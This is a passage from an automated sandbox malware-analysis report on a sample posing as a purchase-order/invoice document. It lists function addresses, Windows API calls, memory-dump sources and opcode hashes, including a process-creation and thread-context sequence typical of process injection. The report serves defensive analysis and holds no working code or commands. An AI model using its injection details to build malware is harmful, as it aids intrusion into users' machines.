                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateFile
                                                                                            • String ID:
                                                                                            • API String ID: 823142352-0
                                                                                            • Opcode ID: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                            • Instruction ID: 855a981e3d87b0586b227f36a287a9e63fe5cd358b5bfab8de368ff291d46a89
                                                                                            • Opcode Fuzzy Hash: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                            • Instruction Fuzzy Hash: 67011D703803107AF2311F28AD5BF5632546B44B24F244B39FBD5BE2E2D2F86885970C
                                                                                            Function 0041511A Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __lock_file_memset
                                                                                            • String ID:
                                                                                            • API String ID: 26237723-0
                                                                                            • Opcode ID: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                            • Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
                                                                                            • Opcode Fuzzy Hash: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                            • Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99
                                                                                            Function 00414E94 Relevance: 3.0, APIs: 2, Instructions: 39COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                              • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                            • __lock_file.LIBCMT ref: 00414EE4
                                                                                              • Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A
                                                                                            • __fclose_nolock.LIBCMT ref: 00414EEE
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                                                                                            • String ID:
                                                                                            • API String ID: 717694121-0
                                                                                            • Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                            • Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
                                                                                            • Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                            • Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D
                                                                                            Function 004098B8 Relevance: 3.0, APIs: 2, Instructions: 32windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • TranslateMessage.USER32(?), ref: 004098F6
                                                                                            • DispatchMessageW.USER32(?), ref: 00409901
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Message$DispatchTranslate
                                                                                            • String ID:
                                                                                            • API String ID: 1706434739-0
                                                                                            • Opcode ID: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                            • Instruction ID: 6b3a2aeb923af73eb4cdb1bab797699f2cf27729a5018e8568c19fb4e3feaf67
                                                                                            • Opcode Fuzzy Hash: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                            • Instruction Fuzzy Hash: D4F05471114301AEDA24DBE58D41B5BB3A8AFD8700F408C2EBA51E61C1FBF8E404C76A
                                                                                            Function 004098B6 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • TranslateMessage.USER32(?), ref: 004098F6
                                                                                            • DispatchMessageW.USER32(?), ref: 00409901
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Message$DispatchTranslate
                                                                                            • String ID:
                                                                                            • API String ID: 1706434739-0
                                                                                            • Opcode ID: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                            • Instruction ID: cc4909b6a78c34842ee59a7900970f574117f06624f4f9c7373c79b1fb9dfc76
                                                                                            • Opcode Fuzzy Hash: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                            • Instruction Fuzzy Hash: DDF054B1114301AADA14DBE58D41B5BB3A4AF94740F408C2EBA11E52C1EBFCD504C71A
                                                                                            Function 04058AE5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateProcessW.KERNELBASE(?,00000000), ref: 040592A3
                                                                                            • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 04059339
                                                                                            • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0405935B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111762391.0000000004057000.00000040.00000020.00020000.00000000.sdmp, Offset: 04057000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_4057000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                            • String ID:
                                                                                            • API String ID: 2438371351-0
                                                                                            • Opcode ID: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
                                                                                            • Instruction ID: fb838df6fe129af34dca8715182ce15aa26fa0b8dc50173cd862386c8122a9a5
                                                                                            • Opcode Fuzzy Hash: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
                                                                                            • Instruction Fuzzy Hash: 4412EE24E24658C6EB24DF60D8507DEB272EF68300F1090E9910DEB7A4E77A5F85CF5A
                                                                                            Function 00410D40 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ProtectVirtual
                                                                                            • String ID:
                                                                                            • API String ID: 544645111-0
                                                                                            • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                            • Instruction ID: fb1d736feddc8336b94c661b4f3a99b04f66f7614ca83ae43ac4a02a862e88ab
                                                                                            • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                            • Instruction Fuzzy Hash: 1331D574A00105DFC718DF99E490AAAFBA6FB49304B2486A6E409CB751D774EDC1CBC5
                                                                                            Function 004092C0 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 0d8ad4d875158e0120ed104e09085659f42b86f6d600f5d33fa38308f41241bf
                                                                                            • Instruction ID: 573dba848690e0cdfd4c9be45b5663ff9194aa529e9341154cf92adfcd841cf8
                                                                                            • Opcode Fuzzy Hash: 0d8ad4d875158e0120ed104e09085659f42b86f6d600f5d33fa38308f41241bf
                                                                                            • Instruction Fuzzy Hash: 5E11C374200200ABC7249FAAD8D5F2A73A5AF45304B244C6FE845E7392D73CEC81EB5E
                                                                                            Function 00401108 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ProcWindow
                                                                                            • String ID:
                                                                                            • API String ID: 181713994-0
                                                                                            • Opcode ID: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                            • Instruction ID: 72bdf1ad184d721e15e17473fba0dc1faec6c1a9a9d1f3fcb71c15abd8c9f185
                                                                                            • Opcode Fuzzy Hash: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                            • Instruction Fuzzy Hash: FDF05436700118A7DF38995CE89ACFF632AD7ED350F418227FD152B3A6813C5C41966E
                                                                                            Function 0041AA31 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateHeap
                                                                                            • String ID:
                                                                                            • API String ID: 10892065-0
                                                                                            • Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                            • Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
                                                                                            • Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                            • Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08
                                                                                            Function 00444343 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00444326: SetFilePointerEx.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,0044434E,?,?,00429A83,?,00487174,00000003,0040DFEE,?), ref: 004442F3
                                                                                            • WriteFile.KERNELBASE(?,?,00000001,?,00000000,?,?,00429A83,?,00487174,00000003,0040DFEE,?,?,00000001,00403843), ref: 00444362
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$PointerWrite
                                                                                            • String ID:
                                                                                            • API String ID: 539440098-0
                                                                                            • Opcode ID: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                            • Instruction ID: 4a339a6eb5dfef6003722c1615037f540bc53d76d7f4c43935d02bdd90bbdfc9
                                                                                            • Opcode Fuzzy Hash: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                            • Instruction Fuzzy Hash: 7CE09275104311AFD250DF54D944F9BB3F8AF88714F108D0EF59587241D7B4A9848BA6
                                                                                            Function 0040116E Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ProcWindow
                                                                                            • String ID:
                                                                                            • API String ID: 181713994-0
                                                                                            • Opcode ID: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                            • Instruction ID: 4c36cba44089d0e03573cc5e8dee84df23505be31ebc2729507753268ee0d302
                                                                                            • Opcode Fuzzy Hash: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                            • Instruction Fuzzy Hash: C3C08C72100008BB8700DE04EC44CFBB72CEBD8310700C20BBC0586201C230885097A1
                                                                                            Function 00414E06 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __wfsopen
                                                                                            • String ID:
                                                                                            • API String ID: 197181222-0
                                                                                            • Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                            • Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
                                                                                            • Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                            • Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589
                                                                                            Function 0040D900 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CloseHandle.KERNELBASE(00000000,?,0040DF8E), ref: 0040D91D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CloseHandle
                                                                                            • String ID:
                                                                                            • API String ID: 2962429428-0
                                                                                            • Opcode ID: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                            • Instruction ID: 397672216df932ca6c22f29d52987cd2165f63c791f69eb8015935d900cfb6d9
                                                                                            • Opcode Fuzzy Hash: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                            • Instruction Fuzzy Hash: 16E0DEB5900B019EC7318F6AE544416FBF8AEE46213248E2FD4E6D2A64D3B4A5898F54
                                                                                            Function 04059AE4 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • Sleep.KERNELBASE(000001F4), ref: 04059AF9
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111762391.0000000004057000.00000040.00000020.00020000.00000000.sdmp, Offset: 04057000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_4057000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Sleep
                                                                                            • String ID:
                                                                                            • API String ID: 3472027048-0
                                                                                            • Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                                                            • Instruction ID: ad56184292efbad3b9703ce4f55171d4fc803531758afc576928468f3b098335
                                                                                            • Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                                                            • Instruction Fuzzy Hash: 6DE0BF7494010DEFDB00DFA4D6496DE7BB4EF04301F1005A1FD05E7690DB309E54DA62
                                                                                            Function 04059AE8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • Sleep.KERNELBASE(000001F4), ref: 04059AF9
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111762391.0000000004057000.00000040.00000020.00020000.00000000.sdmp, Offset: 04057000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_4057000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Sleep
                                                                                            • String ID:
                                                                                            • API String ID: 3472027048-0
                                                                                            • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                            • Instruction ID: 515d0353faf41dd21107a5dc2a68fc3310d0406dc69ef28707005f58f6ca5005
                                                                                            • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                            • Instruction Fuzzy Hash: E0E0E67494010DDFDB00DFB4D64969E7BB4EF04301F100561FD01E2280D6309D50DA72

                                                                                            Non-executed Functions

                                                                                            Function 0047C08E Relevance: 74.2, APIs: 40, Strings: 2, Instructions: 676windowkeyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
                                                                                            • DefDlgProcW.USER32(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
                                                                                            • GetKeyState.USER32(00000011), ref: 0047C1A4
                                                                                            • GetKeyState.USER32(00000009), ref: 0047C1AD
                                                                                            • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
                                                                                            • GetKeyState.USER32(00000010), ref: 0047C1CA
                                                                                            • GetWindowLongW.USER32(00000002,000000F0), ref: 0047C1DE
                                                                                            • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
                                                                                            • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
                                                                                            • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
                                                                                            • SendMessageW.USER32 ref: 0047C2FB
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$State$LongProcWindow
                                                                                            • String ID: @GUI_DRAGID$F
                                                                                            • API String ID: 1562745308-4164748364
                                                                                            • Opcode ID: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                            • Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
                                                                                            • Opcode Fuzzy Hash: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                            • Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A
                                                                                            Function 004045E0 Relevance: 46.9, Strings: 35, Instructions: 3193COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: PF$'|G$*"D$*vG$+%F$0wE$2G$5CG$7eF$<HF$<G$ApG$DvE$GSG$IqE$K@G$LbF$MdF$NgF$PIF$YtG$^[F$_?G$b"D$i}G$j)F$kQG$lE$rTG$vjE$}eE$*F$3G$_G$wG
                                                                                            • API String ID: 0-3772701627
                                                                                            • Opcode ID: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                            • Instruction ID: b1e67458769bbea4a86cd8903524db5b6e79558e2e7ab8c51025fc7bd56032a7
